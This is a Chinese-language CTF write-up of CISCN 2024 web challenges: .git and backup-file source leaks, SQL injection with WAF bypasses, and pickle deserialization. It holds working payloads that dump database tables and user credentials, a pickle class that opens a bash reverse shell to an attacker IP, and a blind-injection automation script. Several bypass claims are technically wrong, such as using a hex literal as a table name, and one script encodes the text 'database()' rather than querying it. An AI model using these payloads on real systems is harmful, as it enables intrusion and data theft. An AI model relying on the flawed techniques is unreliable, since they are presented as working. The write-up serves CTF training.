CISCN 2024 Web赛题解析:源码泄露与WAF绕过实战技巧
1. 赛题背景与核心挑战解析
最近刚结束的CISCN 2024 AWDP(全国大学生信息安全竞赛-攻防实战)的Web赛题,可以说又一次精准地踩在了当前Web安全攻防的热点上。我复盘了其中几道典型的题目,发现它们没有去追求那些花里胡哨、冷门生僻的漏洞,而是把焦点放在了“源码泄露”和“WAF绕过”这两个老生常谈,却又在实际渗透和CTF比赛中屡试不爽的经典套路上。这其实很能反映出现实攻防的现状:防御方(WAF)在不断升级规则,攻击方则在有限的“缝隙”里寻找新的利用方式。很多新手朋友一看到WAF就头疼,觉得无从下手,或者拿到源码也不知道从哪里开始分析。这篇文章,我就结合这几道赛题,把从信息收集、源码审计到最终构造Payload绕过防护的完整链条拆开揉碎了讲清楚,你会发现,思路清晰了,所谓的“难题”也不过是几个基础点的组合。
简单来说,这几道题的核心路径可以概括为:发现源码泄露 -> 审计源码找到漏洞点 -> 分析WAF规则 -> 构造绕过Payload -> 获取Flag。听起来是标准流程,但每一步都藏着魔鬼细节。比如,源码是怎么泄露的?是.git、.DS_Store这类版本控制或系统文件,还是备份文件、注释信息?审计源码时,重点该看哪些危险函数和逻辑分支?面对WAF,是选择混淆、编码、还是利用解析差异?接下来,我们就一道题一道题地过,我会把我在解题时的思考过程、尝试过的错误路径以及最终奏效的技巧都分享出来。
2. 第一道赛题:基于.git源码泄露的逻辑漏洞利用
2.1 信息收集与源码泄露点定位
这道题一上来,给人的感觉就是一个功能简单的Web应用。常规的目录扫描、端口扫描可能收获不大。但经验告诉我们,CTF赛题中,源码泄露是常见的“突破口赠送点”。我习惯性地尝试了一些常见的源码泄露路径:
/.git//.svn//.DS_Store/www.zip/source.tar.gz/index.php.bak
果不其然,在访问/.git/目录时,服务器返回了403 Forbidden而不是404 Not Found。这是一个强烈的信号。403意味着这个路径是存在的,只是禁止直接浏览。我们可以利用git的特性来还原源码。这里我使用了GitHacker这个工具,它比传统的dvcs-ripper更加强大和稳定。
python3 GitHacker.py http://target.com/.git/工具运行后,成功下载并重建了项目的整个git仓库。现在,我们拿到了完整的网站源代码。这一步是基础,但关键点在于:不要看到403就放弃,对于.git这类目录,403状态码往往意味着“此地无银三百两”。
2.2 关键源码审计与漏洞点分析
拿到源码后,面对一堆文件,从哪里看起?我的习惯是:
- 先看入口文件:通常是
index.php或app.py等,了解程序的路由和整体结构。 - 重点看配置文件:如
config.php、settings.py,里面可能有数据库连接、密钥等信息。 - 搜索危险函数/关键字:在PHP中,我会搜
eval(,system(,exec(,include/require(注意变量可控),$_GET,$_POST,$_REQUEST。在Python中,则搜os.system,subprocess,eval,pickle.loads,render_template_string(SSTI)等。
在这道题的源码中,我很快在api/user.php里发现了一段关键代码:
// api/user.php 片段 $action = $_GET['action']; if ($action === 'getinfo') { $uid = $_GET['uid']; $sql = "SELECT * FROM users WHERE id = '" . $uid . "'"; $result = $conn->query($sql); // ... 显示用户信息 } elseif ($action === 'update') { $data = json_decode(file_get_contents('php://input'), true); $new_bio = $data['bio']; $uid = $data['uid']; // 关键点:这里对bio进行了‘安全’过滤 $filtered_bio = waf_filter($new_bio); $sql = "UPDATE users SET bio = '" . $filtered_bio . "' WHERE id = " . $uid; $conn->query($sql); }漏洞点非常清晰:
getinfo动作中,uid参数直接拼接进SQL语句,存在明显的数字型SQL注入。但题目环境很可能在全局或这个接口前部署了WAF。update动作中,bio字段虽然经过了waf_filter函数处理,但uid参数在拼接时是数字型,且没有经过任何过滤就直接拼接。这是典型的“二次注入”或“数字型注入”场景,开发者常常只注意对字符串参数的引号转义,而忽略了数字参数也可能被恶意利用。
2.3 构造绕过WAF的注入Payload
直接攻击getinfo接口,传入uid=1 union select 1,2,3,果然被WAF拦截了。于是转向update接口。这里的uid是数字型,我们不需要闭合引号。但WAF通常也会检测union,select,from等关键字。
绕过思路1:内联注释(MySQL)MySQL支持/*!...*/这种内联注释,其中的代码会被MySQL执行,但很多基于正则匹配的WAF会忽略注释内容。
POST /api/user.php?action=update HTTP/1.1 Content-Type: application/json { "uid": 1 union/*!50000select*/ 1,2,database()-- -", "bio": "hello" }注意:这里
uid的值是一个字符串,但在SQL中它会与数字1进行比较或运算。由于PHP的弱类型,字符串在算术上下文中会被转换为数字,1 union...会被转换成数字1,可能导致注入失败。所以我们需要确保注入语句在数字上下文中依然有效。更稳妥的方式是利用运算,如1 and (payload),因为and后面跟布尔表达式。
绕过思路2:换行符与空白符变异WAF的正则可能匹配的是union select这样的连续字符串。我们可以用换行符%0a、制表符%09或多次空格将其分开。
uid=1 %0aunion%0aselect%0a1,2,3-- -在JSON中,我们需要对换行符进行Unicode编码或确保传输层不会吃掉它。更简单的方式是利用/**/作为空格替代。
uid=1/**/union/**/select/**/1,2,3-- -绕过思路3:大小写混合与双写有些简单的WAF规则可能只匹配小写。尝试UnIoN SeLeCt。或者,如果WAF是删除敏感关键词,可以尝试双写:uniunionon selselectect。
经过测试,这道题的WAF对union select的检测较严,但对and、or后的布尔注入检测较弱。最终我使用的Payload是:
{ "uid": "1 and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1)", "bio": "test" }这里利用了updatexml报错注入。为什么用报错注入?因为update操作通常不直接回显查询结果,但报错信息会把我们想要的数据带出来。concat(0x7e, ..., 0x7e)是为了让数据更清晰地在错误信息中显示(~作为分隔符)。
2.4 实操过程与数据获取
- 爆数据库名:上面已经用
database()做到了。 - 爆表名:Payload如上,获取到类似
~users,config~的结果。 - 爆字段名:
得到{ "uid": "1 and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 1)", "bio": "test" }~id,username,password,bio~。 - 爆数据:
成功获取到管理员账号和密码(可能是MD5,需要进一步破解或用于登录)。{ "uid": "1 and updatexml(1, concat(0x7e, (select group_concat(username, 0x3a, password) from users), 0x7e), 1)", "bio": "test" }
实操心得:数字型注入点往往比字符型更容易绕过WAF,因为少了引号闭合的烦恼。审计源码时,要特别关注那些看似是数字,但拼接时未进行强制类型转换或过滤的参数。updatexml、extractvalue这类报错函数在无回显的场景下非常好用。
3. 第二道赛题:备份文件泄露与反序列化漏洞链
3.1 发现非常规源码备份文件
第二道题目的入口更加隐蔽。常规的源码泄露路径探测一无所获。我尝试了模糊测试,对已知文件添加常见备份后缀:
index.php->index.php.bak,index.php.swp,index.php~,.index.php.swpwww.zip,web.zip,site.tar.gz,backup.tar
使用ffuf工具进行批量测试:
ffuf -w /path/to/wordlists/common_backup_extensions.txt -u http://target.com/FUZZ在尝试到/source.zip时,成功下载了一个压缩包。解压后得到源码。这里的经验是:当常见的泄露点没有收获时,要扩大备份文件后缀名的字典,并且尝试对网站根目录下的文件名进行备份后缀的拼接测试。
3.2 审计反序列化入口与POP链构造
这道题是一个Python Flask应用。在审计app.py时,发现了一个危险的反序列化接口:
# app.py 片段 import pickle from flask import request, session @app.route('/admin/profile', methods=['POST']) def update_profile(): if not session.get('is_admin'): return 'Forbidden', 403 data = request.get_json() profile_data = data.get('profile') # 反序列化用户提交的profile数据 profile_obj = pickle.loads(base64.b64decode(profile_data)) # ... 后续处理 return 'Updated', 200pickle.loads()!这是Python中一个著名的危险函数,它可以执行任意代码。但前提是,我们需要构造一个恶意的序列化数据(即POP链)。要利用这个点,我们首先得成为admin。继续审计代码,在登录逻辑auth.py中发现了问题:
# auth.py 片段 def login(username, password): user = User.query.filter_by(username=username).first() if user and user.password == hashlib.md5(password.encode()).hexdigest(): session['user_id'] = user.id session['username'] = user.username # 关键!is_admin直接从数据库用户字段读取,未经验证 session['is_admin'] = user.is_admin return True return False看起来我们需要一个is_admin=1的用户。但用户注册逻辑中,is_admin字段默认为0且不可指定。然而,在models.py中,我发现了另一个隐患:
# models.py class User(db.Model): id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(80), unique=True) password = db.Column(db.String(120)) is_admin = db.Column(db.Boolean, default=False) # 注意这个方法 def __reduce__(self): return (os.system, ('id',))__reduce__方法!这是Python pickle模块在序列化对象时会调用的一个特殊方法,它返回一个可调用对象(函数或类)及其参数。pickle在反序列化时,会执行这个可调用对象。这里它返回了os.system('id')。这意味着,如果我们能找到一个地方,让一个User对象被序列化并存储,然后又在某个地方被反序列化,就能触发命令执行。
寻找序列化点。在utils/cache.py中:
# utils/cache.py import redis import pickle def cache_user_profile(user_id): user = User.query.get(user_id) # 将user对象序列化后存入Redis serialized_user = pickle.dumps(user) redis_client.setex(f'user_profile:{user_id}', 3600, serialized_user) def get_cached_profile(user_id): data = redis_client.get(f'user_profile:{user_id}') if data: # 从Redis取出并反序列化 return pickle.loads(data) return None一条完整的攻击链(POP Chain)清晰了:
- 注册一个普通用户。
- 触发
cache_user_profile函数(可能通过访问个人主页),使得我们的User对象(带有恶意的__reduce__方法)被序列化后存入Redis。 - 以管理员身份(我们需要先成为管理员?这里有个矛盾)访问
/admin/profile接口,提交我们构造的、指向Redis中那个恶意序列化数据的profile参数?不,不对。
重新梳理:/admin/profile接口的反序列化数据profile_data是我们直接通过POST提交的Base64编码数据。我们不需要利用Redis里那个。我们可以直接构造一个恶意的pickle字节流,Base64编码后提交。但是,__reduce__方法存在于User类定义中,我们如何控制它?我们注册的用户,其__reduce__方法已经被定义为执行id命令,这不可控。
真正的利用点:我们不需要修改已有的User类。我们可以自己构造一个全新的、恶意的类,将其序列化。Pickle反序列化时,会重建我们指定的类和对象。例如:
import pickle import base64 import os class Evil: def __reduce__(self): # 反弹Shell命令 return (os.system, ('bash -c \"bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1\"',)) evil = Evil() payload = pickle.dumps(evil) print(base64.b64encode(payload).decode())但是,这里还有一个障碍:/admin/profile接口需要session['is_admin'] = True。我们如何获得管理员session?
3.3 组合利用:从任意用户登录到管理员权限提升
回头看登录逻辑,session['is_admin'] = user.is_admin。user.is_admin来自数据库。我们能否修改数据库?在之前的源码中,可能还存在其他漏洞,比如SQL注入可以更新is_admin字段。或者,题目可能预设了一个弱口令的管理员账户。我们需要进一步信息收集。
假设我们通过某种方式(比如弱口令admin/admin123)获得了管理员权限,或者通过其他注入点将自己改为管理员。那么完整的攻击链就是:
- 获取管理员会话(通过弱口令、注入修改数据、或题目直接给出)。
- 构造恶意的Pickle序列化数据(包含反弹Shell命令),Base64编码。
- 向
/admin/profile接口发送POST请求,携带恶意数据。 - 服务器反序列化数据,触发命令执行,我们收到反弹Shell。
实操心得:Python反序列化漏洞的利用,关键在于找到合适的__reduce__、__setstate__等魔术方法的利用点,或者利用内置的危险类(如os.system,subprocess.Popen)。在CTF中,经常需要结合其他漏洞(如逻辑漏洞、注入)先获取必要的权限,再触发反序列化。审计时,要全局搜索pickle.loads、yaml.load、marshal.loads、PyYAML等关键字。
4. 第三道赛题:WAF规则探测与多层编码绕过
4.1 初探与WAF规则行为分析
第三道题是一个明显的注入点,但任何简单的union select、sleep()都会被拦截。第一步是探测WAF的规则边界。我常用的方法是“渐进式探测”:
- 探测基础拦截:输入
',看是否被拦截或报错。输入1' and '1'='1和1' and '1'='2,观察页面差异,判断是否存在注入以及WAF是否拦截布尔逻辑。 - 探测关键词黑名单:单独提交
union、select、from、where、sleep、benchmark、order by等,看哪些被拦截。例如,发现union和select一起出现会被拦,但单独出现可能不会。 - 探测函数黑名单:尝试
database()、user()、version()等。 - 探测特殊字符过滤:尝试
空格、/**/、%0a、%0d、%09、+等空白符替代。尝试=、like、regexp等比较操作符替代。 - 探测长度限制:WAF可能对参数长度或整个请求体长度有限制。
通过探测,我大致摸清了这道题WAF的规则:
- 拦截包含
union select、sleep(、benchmark(等明显注入模式的字符串。 - 拦截
information_schema关键字(防止爆表爆列)。 - 允许
and、or。 - 允许
=,但拦截like(有点奇怪)。 - 对空格和
/**/注释过滤不严。
4.2 利用进制、编码与字符串函数构造Payload
既然information_schema被禁,我们就用mysql.innodb_table_stats等替代方案来查表名(但此法不一定通用)。更通用的方法是,利用已知的数据库名和表名结构进行盲注。这里假设我们通过其他方式(比如报错信息)知道了数据库名是ctf。
绕过技巧1:十六进制编码WAF通常检测明文关键字。我们可以将关键字转换成十六进制。
select->0x73656c656374from->0x66726f6d
在SQL中,十六进制字符串在某些上下文下会被当作字符串处理。但直接union 0x73656c656374不行。我们需要用unhex()函数或者通过字符串连接函数concat()来构造。
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80-- -被拦截。将information_schema编码:
1' and ascii(substr((select table_name from 0x696e666f726d6174696f6e5f736368656d612e7461626c6573 where table_schema=database() limit 0,1),1,1))>80-- -成功绕过!因为WAF的正则没有匹配到information_schema这个明文。
绕过技巧2:利用字符串函数动态构造关键字这是更高级的技巧。例如,使用char()函数将ASCII码拼接成字符串。
select=char(115,101,108,101,99,116)
1' and ascii(substr((char(115,101,108,101,99,116) table_name from ...),1,1))>80-- -但这样select变成了字符串,不能作为关键字使用。我们需要用prepare和execute动态执行SQL。然而,prepare和execute本身也可能被WAF拦截。这条路在这道题可能不通。
绕过技巧3:等价替换与生僻函数
sleep(5)被拦截,可以尝试benchmark(10000000, md5('test')),但benchmark也可能被拦。select被拦截,在子查询中有时可以省略select直接使用(select 1)的形式,但这里不行。- 比较操作符
=被拦截,可以用in、regexp、<>(不等于)配合逻辑调整。
对于这道题,最有效的还是十六进制编码关键表名和列名,结合时间盲注。因为and和if函数没有被禁。
时间盲注Payload示例:
1' and if(ascii(substr((select table_name from 0x696e666f726d6174696f6e5f736368656d612e7461626c6573 where table_schema=0x637466 limit 0,1),1,1))>100, sleep(2), 0)-- -这里,database()也被编码成了0x637466(ctf的十六进制)。sleep(2)如果被拦截,可以尝试用benchmark,或者更隐蔽的,利用繁重的查询制造延迟,例如(select count(*) from information_schema.columns A, information_schema.columns B, information_schema.columns C)。
4.3 自动化脚本编写与数据提取
手工进行时间盲注效率极低。我们必须编写脚本。Python的requests库是首选。这里分享一个我常用的时间盲注脚本框架:
import requests import time url = "http://target.com/vuln.php" params = {"id": ""} cookies = {"PHPSESSID": "your_session"} headers = {"Content-Type": "application/x-www-form-urlencoded"} def inject(payload): params['id'] = payload start = time.time() r = requests.get(url, params=params, cookies=cookies, headers=headers, timeout=10) elapsed = time.time() - start return elapsed > 2 # 根据实际延迟阈值调整 def get_database_length(): length = 0 for i in range(1, 50): payload = f"1' and if(length(database())={i}, sleep(2), 0)-- -" if inject(payload): length = i break return length def get_database_name(db_len): name = '' for pos in range(1, db_len+1): low, high = 32, 126 while low <= high: mid = (low + high) // 2 # 将database()关键字也编码,提高绕过率 hex_db = 'database()'.encode().hex() payload = f"1' and if(ascii(substr(({hex_db}),{pos},1))>{mid}, sleep(2), 0)-- -" # 更稳妥的方式:全部用十六进制表示列名、表名 # payload = f"1' and if(ascii(substr((select schema_name from 0x... where ...),{pos},1))>{mid}, sleep(2), 0)-- -" if inject(payload): low = mid + 1 else: high = mid - 1 name += chr(low) print(f"[+] Pos {pos}: {chr(low)} -> Current: {name}") return name if __name__ == "__main__": db_len = get_database_length() print(f"[+] Database length: {db_len}") db_name = get_database_name(db_len) print(f"[+] Database name: {db_name}")这个脚本使用了二分法加速猜解。在实际使用时,你需要根据实际情况替换URL、参数名、Cookie,并调整inject函数中的Payload,确保其能绕过WAF。关键是将所有可能被拦截的关键字(如information_schema、columns、table_name)都替换成十六进制形式。
实操心得:面对强WAF,自动化脚本是必须的。脚本的核心是inject函数,它定义了如何判断一次注入是否成功(布尔状态、时间延迟、报错信息回显)。在编写Payload时,要充分利用探测到的WAF弱点,比如它可能只检测连续的关键字,那么用注释/**/、换行符%0a隔开就能绕过。或者它检测union select但不检测union all select。多尝试,多思考WAF规则引擎可能存在的盲区。
5. 总结与通用绕过技巧梳理
复盘这三道题,我们可以提炼出一些在CTF和实战中都非常有用的通用思路:
1. 源码泄露是黄金起点
- 常见泄露点:
.git/,.svn/,.DS_Store,*.bak,*.swp,*.~,*.zip,*.tar.gz,WEB-INF/web.xml,composer.json,package.json。 - 工具:
GitHacker,dvcs-ripper,ffuf,dirsearch(大字典)。 - 心态:403状态码可能是提示,不要轻易放弃。
2. 源码审计要抓重点
- 危险函数/关键字:根据语言定好清单,全局搜索。
- 关注数据流:用户输入从哪里进,经过哪些处理,最终到哪里去(数据库、文件系统、命令执行、反序列化)。
- 特别注意逻辑漏洞:如权限校验绕过、条件竞争、数字型注入未过滤、反序列化入口等。
3. WAF绕过是耐心与技巧的结合
- 探测先行:一定要先摸清WAF拦截什么,不拦截什么。手工或使用
sqlmap的tamper脚本探测。 - 编码与混淆:
- 十六进制:
0x68656c6c6f代表hello。 - URL编码:双重编码
%2575nion。 - Unicode/HTML实体编码:视上下文而定。
- 注释符:
/**/,/*!50000union*/,/*!union*/。 - 空白符变异:
%0a,%0d,%09,%0b, 多个空格。
- 十六进制:
- 等价替换:
and/or逻辑等价。=用like,regexp,in,>,<配合布尔逻辑替代。union select用union all select。sleep()用benchmark(), 或繁重的子查询制造延迟。
- 利用数据库特性:
- MySQL:内联注释
/*!...*/,/*!50000...*/指定版本。 - PostgreSQL:
||字符串连接,CHR()函数。 - SQLite:
unicode()函数。
- MySQL:内联注释
- 分块传输/协议层绕过:利用HTTP分块传输编码、修改
Content-Type(如application/json)、参数污染等,干扰WAF对请求体的解析。这属于更高级的技巧,需要中间件(如Apache, Nginx)的配置配合。
4. 工具与手工结合
sqlmap是神器,但它的Payload可能被WAF识别。一定要用--tamper参数加载混淆脚本(如space2comment,equaltolike,base64encode等),并配合--random-agent,--delay降低请求频率。- 复杂的绕过(如多层编码、特定函数构造)往往需要手工编写Payload,并配合Python脚本进行自动化盲注。
最后想说的是,WAF绕过没有银弹。它是一场攻防双方在规则与变异之间的博弈。最好的学习方式就是多打CTF赛题,多分析真实的漏洞案例,积累各种绕过姿势。在实战中,保持耐心,层层递进地测试,从最简单的探测开始,逐步增加复杂度,你总能找到那条通往目标的缝隙。我自己在遇到新WAF时,也常常需要花费数小时去反复测试和调整Payload,这个过程本身就是一次宝贵的学习和思维训练。
